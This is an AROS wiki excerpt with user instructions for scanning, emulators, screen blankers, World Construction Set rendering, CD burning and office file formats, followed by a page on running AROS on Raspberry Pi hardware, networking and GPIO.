Back to the Picture Scan window and the right-hand sections.

Click on the '''Information''' tab and press Connect button and the scanner should now be detected.

Go next to the '''Scanner''' tab next to Information Tab should have Color, Black and White, etc. and dpi settings now. Selecting an option Color, B/W etc. can cause dpi settings corruption (especially if the settings are in one line) so set '''dpi first'''. Make sure if Preview is set or not.

In the '''Scan''' Tab, press Scan and the scanner will do its duty. 
Be aware that nothing is saved to disk yet.

In the Save tab, change format JPEG, PNG or IFF DEEP. Tick incremental and base filename if necessary and then click the Save button. The image will now be saved to permanent storage.


The driver ignores a device if it is already bond to another USB class, rejects it from being usable. However, open Trident prefs, select your device and use the right mouse button to open. Select &quot;NONE&quot; to prevent poseidon from touching the device. Now save settings. It should always work now.

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===Emulators===

==== Amiberry ====


==== Amiga Emu - Janus UAE ====

With Amibridge, AROS attempts to make the UAE emulator seem embedded within but it still is acting as an app 

There is no dynarec m68k for each hardware that Aros supports or direct patching of motorola calls to AROS hardware accelerated ones unless the emulator has that included 

Try starting Janus with a priority of -1 like this little script:
&lt;pre&gt;
cd sys:system/AmiBridge/emulator
changetaskpri -1
run janus-uae -f my_uaerc.config &gt;nil:
cd sys:prefs
endcli
&lt;/pre&gt;
This stops Janus hogging all the CPU time.


===Miscellaneous===

====Screensaver Blanker====

Most blankers on the amiga (i.e. aros) run as commodities (they are in the tools/commodities drawer). Double click on blanker.

Control is with an app called Exchange, which you need to run first (double click on app) or  run QUIET sys:tools/commodities/Exchange &gt;NIL: but subsequently can use (Cntrl Alt h).

Icon tool types (may be broken) or command line options 
&lt;pre&gt;
seconds=number 
&lt;/pre&gt;

Once the timing is right then add the following to s:icaros-sequence or s:user-startup

e.g. for 5 minutes

 run QUIET sys:tools/commodities/Blanker seconds=300 &gt;NIL:


*[http://archives.aros-exec.org/index.php?function=showfile&amp;file=graphics/screenblanker/gblanker.i386-aros.zip Garshneblanker] can make Aros unstable or slow. Certain blankers crashes in Icaros 2.0.x like Dragon, Executor.


*[ Acuario AROS version], the aquarium screen saver.

Startup: extras:acuariofv-aros/acuario

Kill: c:break name=extras:acuariofv-aros/acuario

Managed to start Acuario by the Executor blanker.

&lt;pre&gt;
cx_priority=
cx_popkey=    ie CX_POPKEY=&quot;Shift F1&quot; 
cx_popup=Yes or No

&lt;/pre&gt;


&lt;pre&gt;
 Qualifier String    Input Event Class
   ----------------    -----------------
    &quot;lshift&quot;           IEQUALIFIER_LSHIFT
    &quot;rshift&quot;           IEQUALIFIER_RSHIFT
    &quot;capslock&quot;         IEQUALIFIER_CAPSLOCK
    &quot;control&quot;          IEQUALIFIER_CONTROL
    &quot;lalt&quot;             IEQUALIFIER_LALT
    &quot;ralt&quot;             IEQUALIFIER_RALT
    &quot;lcommand&quot;         IEQUALIFIER_LCOMMAND
    &quot;rcommand&quot;         IEQUALIFIER_RCOMMAND
    &quot;numericpad&quot;       IEQUALIFIER_NUMERICPAD
    &quot;repeat&quot;           IEQUALIFIER_REPEAT
    &quot;midbutton&quot;        IEQUALIFIER_MIDBUTTON
    &quot;rbutton&quot;          IEQUALIFIER_RBUTTON
    &quot;leftbutton&quot;       IEQUALIFIER_LEFTBUTTON
    &quot;relativemouse&quot;    IEQUALIFIER_RELATIVEMOUSE
&lt;/pre&gt;


&lt;pre&gt;
    Synonym     Synonym
    String     Identifier
    -------    ----------
    &quot;shift&quot;    IXSYM_SHIFT    /* look for either shift key */
    &quot;caps&quot;     IXSYM_CAPS     /* look for either shift key or capslock */
    &quot;alt&quot;      IXSYM_ALT      /* look for either alt key */

Highmap is one of the following strings:
    &quot;space&quot;, &quot;backspace&quot;, &quot;tab&quot;, &quot;enter&quot;, &quot;return&quot;, &quot;esc&quot;, &quot;del&quot;,
    &quot;up&quot;, &quot;down&quot;, &quot;right&quot;, &quot;left&quot;, &quot;f1&quot;, &quot;f2&quot;, &quot;f3&quot;, &quot;f4&quot;, &quot;f5&quot;,
    &quot;f6&quot;, &quot;f7&quot;, &quot;f8&quot;, &quot;f9&quot;, &quot;f10&quot;, &quot;help&quot;.


&lt;/pre&gt;


[[#top|...to the top]]

==== World Construction Set WCS (Version 2.031) ====

WCS is a fractal landscape software such as Scenery Animator, Vista Pro and Panorama. Open sourced February 2022, World Construction Set [https://3dnature.com/downloads/legacy-software/ legally and for free] and [https://github.com/AlphaPixel/3DNature c source]. 

Announced August 1994 this version dates from April 1996 developed by Gary R. Huber and Chris &quot;Xenon&quot; Hanson&quot; from Questar 

&lt;pre&gt;
Assign &quot;WCSProjects:&quot; &quot;Volume:Dir/Dir/WCSProjects&quot; 
Assign &quot;WCSFrames:&quot;   &quot;Volume:Dir/Dir/WCSFrames&quot; 
&lt;/pre&gt;

&lt;pre&gt;
Load projects .proj by accessing pull down menu Project -&gt; Open then click on CanyonSunset.proj
OK to changing .par file and enlarge Status Log window to show what is happening 
Render by pull down menu Modules -&gt; Render with End equal 1 not 300 then click bottom middle button Render 
&lt;/pre&gt;

[https://www.youtube.com/watch?v=CxQDmf1ZWG0 Youtube walkthrough of above], [], [], 

Also try working with the already built file ColoDemo - Then open with the drop-down menu: Project/Open, then WCSProject:ColoDemo.proj
Which allows you to use altimetric DEM files already included and Loading scene parameters from ColoDemo.par
Once this is done, save everything with a new name to start working exclusively on your project. 
Then drop-down menu and select Save As (&quot;NewName&quot;.proj name), then drop-down menu to open parameter and select Save All ( .par name)


After launching the software, there is a the Module Control Panel composed of five icons. 
It is a dock type shortcut of the first few functions of the drop-down menu 

*Database   - Load (#?.proj), Append, Create, Edit, Save, Dir List (of WCSProject drawer), 
*Data Ops   - Extract / Convert Interp DEM, Import DLG, DXF, WDB and export LW map 3d formats  
*Map View   - Database file Loader leading to Map View Control with option to the Database Editor 
*Parameters - Editor for Motion, Color, Ecosystem, Clouds, Waves, management of altimeter files DEM, sclock settings etc 
*Render     - rendering terrain 

These are more in the pull down menu but not in the dock 
*Motion Editor
*Color Editor
*Ecosys Editor 


Simple minimal workflow 
*Load database (1st icon - 1st)
*Set parameters and save .par file (4th icon)
*Render scene (5th icon) 

[https://www.youtube.com/watch?v=ZbTwwR2qcc4 Youtube], [], 

&lt;pre&gt;
.proj new project name which creates a drawer of additional files 

.binary array, ascii array .xyz , z buffer, DTED .dt0, vista 1990s dem, iff  conversion 
.Obj with .elev, .frd with .hdr maps, - digital elevation model (DEM) is a 3D representation of elevation data in various formats 
USGS 7.5MinDEM, 

.par 


&lt;/pre&gt;


Since for the time being no project is loaded, a query window indicates a procedural error when clicking on the rendering icon (right end of the bar). The menu is quite traditional; it varies according to the activity of the windows. To display any altimetric file in the &quot;Mapview&quot; (third icon of the panel), There are three possibilities:

* Loading of a demonstration project.
* The import of a DEM file, followed by texturing and packaging from the &quot;Database-Editor&quot; and the &quot;Color-Editor&quot;.
* The creation of an altimetric file in WCS format, then texturing.


The altimeter file editing (display in the menu) is only made possible if the &quot;Mapview&quot; window is active.

The software is made up of many windows and won't be able to describe them all. Know that &quot;Color-Editor&quot; and the &quot;Data-Editor&quot; comprise sufficient functions for obtaining an almost real rendering quality. You have the possibility of inserting vector objects in the &quot;Data-Editor&quot; (creation of roads, railways, etc.) 


The Map View (MapView) window

*Database - Objects and Topos
*View     - Align, Center, Zoom, Pan, Move 
*Draw     - Maps and distance 
*Object   - Find, highlight, add points, conform topo, duplicate 
*Motion   - Camera, Focus, path, elevation 
*Windows  - DEM designer, Cloud (.cld) and wave (.wve) editor, 


You will notice that by selecting this window and simply moving the pointer to various points on the map you will see latitude and longitude values ​​change, along with the height.
Drop-down menu and Modules, then select MapView and change the width of the window with the map to arrange it in the best way on the screen. With the Auto button the center. Window that then displays the contents of my DEM file, in this case the Grand Canyon. MapView allows you to observe the shape of the landscape from above
 

ZOOM button

Press the Zoom button and then with the pointer position on a point on the map, press the left mouse button and then move to the opposite corner to circumscribe the chosen area and press the left mouse button again, then we will see the enlarged area selected on the map.
Would add that there is a box next to the Zoom button that allows the direct insertion of a value which, the larger it is, the smaller the magnification and the smaller the value, the stronger the magnification. At each numerical change you will need to press the DRAW button to update the view.

PAN button

Under Zoom you will find the PAN button which allows you to move the map at will in all directions by the amount you want. This is done by drawing a line in one direction, then press PAN and point to an area on the map with the pointer and press the left mouse button. At this point, leave it and move the pointer in one direction by drawing a line and press the left mouse button again to trigger the movement of the map on the screen (origin and end points). Do some experiments and then use the Auto button immediately below to recenter everything.
There are parameters such as TOPO, VEC to be left checked and immediately below one that allows different views of the map with the Style command (Single, Multi, Surface, Emboss, Slope, Contour), each with its own particularities to highlight different details.

Now you have the first basics to manage your project visually on the map. Close the MapView window and go further...


Let's start working on ECOSYSTEMS
If we select Emboss from the MapView Style command we will have a clear idea of ​​how the landscape appears, realizing that it is a predominantly desert region of our planet. Therefore we will begin to act on any vegetation present and the appearance of the landscape.
With WCS we will begin to break down the elements of the landscape by assigning defined characteristics. It will be necessary to determine the classes of the ecosystem (Class) with parameters of Elevation Line (maximum altitude), Relative Elevation (arrangement on basins or convexities with respectively positive or negative parameters), Min Slope and Max Slope (slope). WCS offers the possibility of making ecosystems coexist on the same terrain with the UnderEco function, by setting a Density value.


Ecosys Ecosystem Editor

Let's open it from Modules, then Ecosys Editor. In the left pane you will find the list of ecosystems referring to the files present in our project. It will be necessary to clean up that box to leave only the Water and Snow landscapes and a few other predefined ones. We can do this by selecting the items and pressing the Remove button (be careful not for all elements the button is activated, therefore they cannot all be eliminated).
Once this is done we can start adding new ecosystems. Scroll through the various Unused and as soon as the Name item at the top is activated allowing you to write, type the name of your ecosystem, adding the necessary parameters.
&lt;pre&gt;
Ecosystem1: Name: RockBase Class: Rock Density: 80 MinSlope: 15 UnderEco: Terrain
Ecosystem2: Name: RockIncl Clss: Rock Density: 80 MinSlope: 30 UnderEco: Terrain
Ecosystem3: Name: Grass Class Low Veg Density: 50 Height: 1 Elev Line : 1500 Rel El Eff: 5
Max Slope: 10 – Min Slope: 0 UnderEco: Terrain
Ecosistema4: Name: Shrubs Class: Low Veg Density: 40 Height: 8 Elev Line: 3000
Rel El Eff: -2 Max Slope: 20 Min Slope : 5 UnderEco: Terrain
Ecosistema5: Name: Terrain Class: Ground Density: 100 UnderEco: Terrain
&lt;/pre&gt;

Now we need to identify an intermediate ecosystem that guarantees a smooth transition between all, therefore we select as Understory Ecosystem the one called Terrain in all ecosystems, except Snow and Water .
Now we need to 'emerge' the Colorado River in the Canyon and we can do this by raising the sea level to 900 (Sea Level) in the Ecosystem called Water.
Please note that the order of the ecosystem list gives priority to those that come after. So our list must have the following order: Water, Snow, Shrubs, RockIncl, RockBase, Terrain. It is possible to carry out all movements with the Swap button at the bottom. To put order you can also press Short List. Press Keep to confirm all the work done so far with Ecosystem Editor.
Remember every now and then to save both the Project 'Modules/Save' and 'Parameter/Save All'

EcoModels are made up of .etp .fgp .iff8 for each model 


Color Editor

Now it's time to define the colors of our scene and we can do this by going to Modules and then Color Editor. In the list we focus on our ecosystems, created first.
Let's go to the bottom of the list and select the first white space, assigning the name 'empty1', with a color we like and then we will find this element again in other environments... It could serve as an example for other situations!
So we move to 'grass' which already exists and assign the following colors: R 60 G 70 B50
&lt;pre&gt;
'shrubs': R 60 G 80 B 30
'RockIncl' R 110 G 65 B 60
'RockBase' R 110 G 80 B 80
' Terrain' R 150 G 30 B 30
&lt;pre&gt;
Now we can work on pre-existing colors
&lt;pre&gt;
'SunLight' R 150 G 130 B 130
'Haze and Fog' R 190 G 170 B 170
'Horizon' R 209 G 185 B 190
'Zenith' R 140 G 150 B 200
'Water' R 90 G 125 B 170
&lt;/pre&gt;

Ambient R 0 G 0 B 0

So don't forget to close Color Editor by pressing Keep.
Go once again to Ecosystem Editor and assign the corresponding color to each environment by selecting it using the Ecosystem Color button. Press it several times until the correct one appears. Then save the project and parameters again, as done previously.


Motion Editor

Now it's time to take care of the framing, so let's go to Modules and then to Motion Editor. An extremely feature-rich window will open. Following is the list of parameters regarding the Camera, position and other characteristics:
&lt;pre&gt;
-Camera Altitude: 7.0
-Camera Latitude: 36.075
-Camera Longitude: 112.133
-Focus Attitude: -2.0
-Focus Latitude: 36.275
-Focus Longitude: 112.386
-Camera : 512 → rendering window
-Camera Y: 384 → rendering window
-View Arc: 80 → View width in degrees
-Sun Longitude: 172
-Sun Latitude: -0.9
-Haze Start: 3.8
-Haze Range: 78, 5
&lt;/pre&gt;
As soon as the values ​​shown in the relevant sliders have been modified, we will be ready to open the CamView window to observe the wireframe preview. Let's not consider all the controls that will appear.
Well from the Motion Editor if you have selected Camera Altitude and open the CamView panel, you can change the height of the camera by holding down the right mouse button and moving the mouse up and down. To update the view, press the Terrain button in the adjacent window. As soon as you are convinced of the position, confirm again with Keep. You can carry out the same work with the other functions of the camera, such as Focus Altitude...
Let's now see the next positioning step on the Camera map, but let's leave the CamView preview window open while we go to Modules to open the window at the same time MapView. We will thus be able to take advantage of the view from the other together with a subjective one.


From the MapView window, select with the left mouse button and while it is pressed, move the Camera as desired. To update the subjective preview, always click on Terrain.
While with the same procedure you can intervene on the direction of the camera lens, by selecting the cross and with the left button pressed you can choose the desired view. So with the pressure of Terrain I update the Preview. Possibly can enlarge or reduce the Map View using the Zoom button, for greater precision.
Also write that the circle around the cameras indicates the beginning of the haze, there are two types (haze and fog) linked to the altitude. Would also add that the camera height is editable through the Motion Editor panel.


The sun

Let's see that changing the position of the sun from the Motion Editor. Press the SUN button at the bottom right and set the time and the date. Longitude and latitude are automatically obtained by the program. Always open the View Arc command from the Motion Editor panel, an item present in the Parameter List box.

Once again confirm everything with Keep and then save again.


Animation

The animation part is not left-back and also occupies a window. The settings possibilities are enormous. A time line with dragging functions (&quot;slide&quot;, &quot;drag&quot;...) comparable to that of LightWave completes this window. 


A small window is available for positioning the stars as a function of a date, in order to vary the seasons and their various events (and yes...).

At the bottom of the &quot;Motion-Editor&quot;, a &quot;cam-view&quot; function will give you access to a control panel. Different preview modes are possible. The rendering is also accessible through a window. No less than nine pages compose it. At this level, you will be able to determine the backup name of your images (&quot;path&quot;), the type of texture to be calculated, the resolution of the images, activate or deactivate functions such as the depth buffer (&quot;zbuffer&quot;), the blur, the background image, etc.


Once all these parameters have been set, all you have to do is click on the &quot;Render&quot; button.

For rendering go to Modules and then Render. Select the resolution, then under IMA select the name of the image. Move to FRA and indicate the level of fractal detail which of 4 is quite good. Then Keep to confirm and then reopen the window, pressing Render you will see the result. The image will be opened with any viewing program.


Strengths:

* Multi-window.
* Quality of rendering.
* Accuracy.
* Opening, preview and rendering on CyberGraphX screen.
* Extract / Convert Interp DEM, Import DLG, DXF, WDB and export LW map 3d formats 
* The &quot;zbuffer&quot; function.

Weaknesses:

* No OpenGL management 
* Calculation time.
* No network computing tool.


====Writing CD / DVD - Frying Pan====

Can be backup DVDs (4GB ISO size limit due to use of FileInfoBlock), create audio cds from mp3's, and put .iso files on discs

If using for the first time - click Drive button and Device set to ata.device and unit to 0 (zero)

Click Tracks Button - Drive 1 - Create New Disc or Import Existing Disc Image (iso bin/cue etc.) - Session File open cue file

If you're making a data cd, with files and drawers from your hard drive, you should be using the ISO Builder.. which is the MUI page on the left. (&quot;Data/Audio Tracks&quot; is on the right).

You should use the &quot;Data/Audio tracks&quot; page if you want to create music cds with AIFF/WAV/MP3 files, or if you download an .iso file, and you want to put it on a cd.

Click WRITE Button - set write speed - click on long Write button

Examples

Easiest way would be to burn a DATA CD, simply go to &quot;Tracks&quot; page &quot;ISO Builder&quot; and &quot;ADD&quot; everything you need to burn.

On the &quot;Write&quot; page i have &quot;Masterize Disc (DAO)&quot;, &quot;Close Disc&quot; and &quot;Eject after Write&quot; set.

One must not &quot;Blank disc before write&quot; if one uses a CDR


AUDIO CD from MP3's are as easy but tricky to deal with. FP only understands one MP3 format, Layer II, everything else will just create empty tracks

Burning bootable CD's works only with .iso files. Go to &quot;Tracks&quot; page and &quot;Data/Audio Tracks&quot; and add the .iso


====odf====

Every ODF file is a collection of several subdocuments within a package (ZIP file), each of which stores part of the complete document.

* content.xml – Document content and automatic styles used in the content.
* styles.xml – Styles used in the document content and automatic styles used in the styles themselves.
* meta.xml – Document meta information, such as the author or the time of the last save action.
* settings.xml – Application-specific settings, such as the window size or printer information.


To read document follow these steps:

* Extracting .ods file.
* Getting content.xml file (which contains sheets data).
* Creating XmlDocument object from content.xml file.
* Creating DataSet (that represent Spreadsheet file).
* With XmlDocument select “table:table” elements, and then create adequate DataTables.
* Parse child’s of “table:table” element and fill DataTables with those data.
* At the end, return DataSet and show it in application’s interface.


To write document follow these steps:

* Extracting template.ods file (.ods file that we use as template).
* Getting content.xml file.
* Creating XmlDocument object from content.xml file.
* Erasing all “table:table” elements from the content.xml file.
* Reading data from our DataSet and composing adequate “table:table” elements.
* Adding “table:table” elements to content.xml file.
* Zipping that file as new .ods file.

XLS file format

The XLS file format contains streams, substreams, and records.

These sheet substreams include worksheets, macro sheets, chart sheets, dialog sheets, and VBA module sheets. 
All the records in an XLS document start with a 2-byte unsigned integer to specify Record Type (rt), and another for Count of Bytes (cb). A record cannot exceed 8224 bytes. If larger than the rest is stored in one or more continue records.

* Workbook stream 
**Globals substream
***BoundSheet8 record - info for Worksheet substream i.e. name, location, type, and visibility. (4bytes the lbPlyPos FilePointer, specifies the position in the Workbook stream where the sheet substream starts) 
**Worksheet substream (sheet) - Cell Table - Row record - Cells (2byte=row 2byte=column 2byte=XF format)
***Blank cell record
***RK cell record 32-bit number. 
***BoolErr cell record (2-byte Bes structure that may be either a Boolean value or an error code)
***Number cell record (64-bit floating-point number)
***LabelSst cell record (4-byte integer that specifies a string in the Shared Strings Table (SST). Specifically, the integer corresponds to the array index in the RGB field of the SST)
***Formula cell record (FormulaValue structure in the 8 bytes that follow the cell structure. The next 6 bytes can be ignored, and the rest of the record is a CellParsedFormula structure that contains the formula itself)
***MulBlank record (first 2 bytes give the row, and the next 2 bytes give the column that the series of blanks starts at. Next, a variable length array of cell structures follows to store formatting information, and the last 2 bytes show what column the series of blanks ends on)
***MulRK record 
***Shared String Table (SST) contains all of the string values in the workbook.

ACCRINT(), ACCRINTM(), AMORDEGRC(), AMORLINC(), 
COUPDAYBS(), COUPDAYS(), COUPDAYSNC(), COUPNCD(), COUPNUM(), COUPPCD(), 
CUMIPMT(), CUMPRINC(), 
DB(), DDB(), DISC(), 
DOLLARDE(), DOLLARFR(), 
DURATION(), EFFECT(), FV(), FVSCHEDULE(), 
INTRATE(), IPMT(), IRR(), ISPMT(), MDURATION(), MIRR(), NOMINAL(), NPER(), NPV(), 
ODDFPRICE(), ODDFYIELD(), ODDLPRICE(), ODDLYIELD(), 
PMT(), PPMT(), PRICE(), PRICEDISC(), PRICEMAT(), PV(), RATE(), 
RECEIVED(), SLN(), SYD(), TBILLEQ(), TBILLPRICE(), TBILLYIELD(), 
VDB(), XIRR(), XNPV(), YIELD(), YIELDDISC(), YIELDMAT(),


&lt;pre&gt;
&lt;/pre&gt;


&lt;pre&gt;
&lt;/pre&gt;

&lt;pre&gt;
&lt;/pre&gt;

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  </page>
  <page>
    <title>Aros/Platforms/Arm Raspberry Pi support</title>
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[[#Native]]

[[#Hosted]]

[[#Build]]

[[#Hardware]]

[[#References]]

[[#Future]]


==Introduction==


[[File:Scalos00.png|thumb|Scalos on Aros Pi3b]]

Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running 


Options to boot from using a good power source to prevent the yellow lightning symbol. 
*With Pi3b+ the max you can get is 5.1V 2.5A with micro usb.
*With Pi4 5.1V 3A with usb-c 
*With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c 


Pi500+ keyboard wedge - 

Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - 


* Pi 5 - Quad A76 64bit ARMv8 and RP1 &quot;southbridge&quot; with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) 
* Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 
* Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling 


* Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible 
* Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible 
* Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible 


===Native===

* 2013-03 Kalamatee starts work
* 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb
* 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi]  
* 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] 
* 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5]
* 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM]


'''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 

64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&amp;rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread]

Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 

Pi 3 B+ is pre-configured for USB sata3 boot - untested 

Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card 

Speed write wise (top faster) 
&lt;pre&gt;
*NVME Pi5 untested    &gt;1000MB/sec  or faster if matched correctly 
*Sata3 ssd              500MB/sec
*SD        V90           90MB/sec  4K maybe 8K 
*SD        V60           60MB/sec  1080p 
*SD     U3 V30           30MB/sec  720p 
*SD C10 U1 V10 A1 A2     10MB/sec  minimum should be used now 
*SD C06                   6MB/sec  
*SD C04                   4MB/sec 
&lt;/pre&gt;


As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -&gt; View -&gt; All files

Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. 


Like most amiga like OSs the audio and networking need to be setup manually 

Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++  or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice 


Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. 
Esc escape key usually closes open windows even the desktop 

In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works 

For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage 


[http://archives.arosworld.org/index.php?function=browse&amp;cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&amp;page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. 

[[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]]
[[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]]
[[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]]

Wifi setup needs the network prefs with the TCP/IP tab click add interface -&gt; change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4 

Once you’ve configured the device, simply save the Wireless Networks tab Wi-Fi configuration even if it’s empty. This will create the Wireless.prefs file in the Prefs/Env-Archive/SYS drawer, and should see the Wireless Manager icon in Wanderer. Although a reboot maybe necessary. Wireless tab gets your router settings. 

If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup:
&lt;pre&gt;
execute sys:system/network/arostcp/s/startnet
run wirelessmanager device=bwfm.device &gt;nil:
&lt;/pre&gt;
Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line


Lan ethernet port on 
*lan9514  Pi3b Pi2 no support at the moment 
*lan7515  Pi3b+ type into Device  usblan78xx.device as net0:  remove other device(s) 
*bcmgenet Pi4 Pi400 choose for Device bcmgenet.device  


Summary
*3b  ethernet not supported, setup wireless manager (with interface issues) 
*3b+ seems to work wifi and ethernet 
*4   untested 
*400 seems to work wifi and ethernet (with interface issues) 


There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] 

*Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero W 
*Bluetooth 4.2 BCM4345C0.hcd  Pi3B+, Pi4 
*Bluetooth 5.0 BCM4345C5.hcd  Pi4B rev, CM4 and maybe Pi5 and CM5 

*bthid    keyboard mouse support 
*btserial serial 
*btpan    short range wireless connecting devices 


Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&amp;cat=network PiNTP] to get the date and time from the internet 


It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove the offending usb device and reinsert 

USB classes support from Prefs/Trident is still work in process 
*usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w 
*[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&amp;file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], 


Regarding 680x0 emulation, there are several options that could be considered 
*[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones
*[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games 
*[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] 
*[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] 


[https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] 

Some exceptions:

*Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used
*The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V
*For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15).

With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented.

Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi.

In the shell 

 GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K

Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' 

*PIN   -- (Required) Target GPIO pin number (e.g. 12).
*SET   -- Set pin output value to 0 (LOW) or 1 (HIGH).
*GET   -- Read and print current digital input level (0 or 1).
*MODE  -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate).
*PULL  -- Configure pull resistor: NONE, UP, DOWN.

EXAMPLES
&lt;pre&gt;
GPIO 12 MODE OUT
GPIO 12 SET 1
GPIO 12 GET
GPIO 13 PULL UP
&lt;/pre&gt;


[https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] 


Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&amp;pid=13954#post_13954 discussion] 


Youtube 

[], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], 

[], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], 

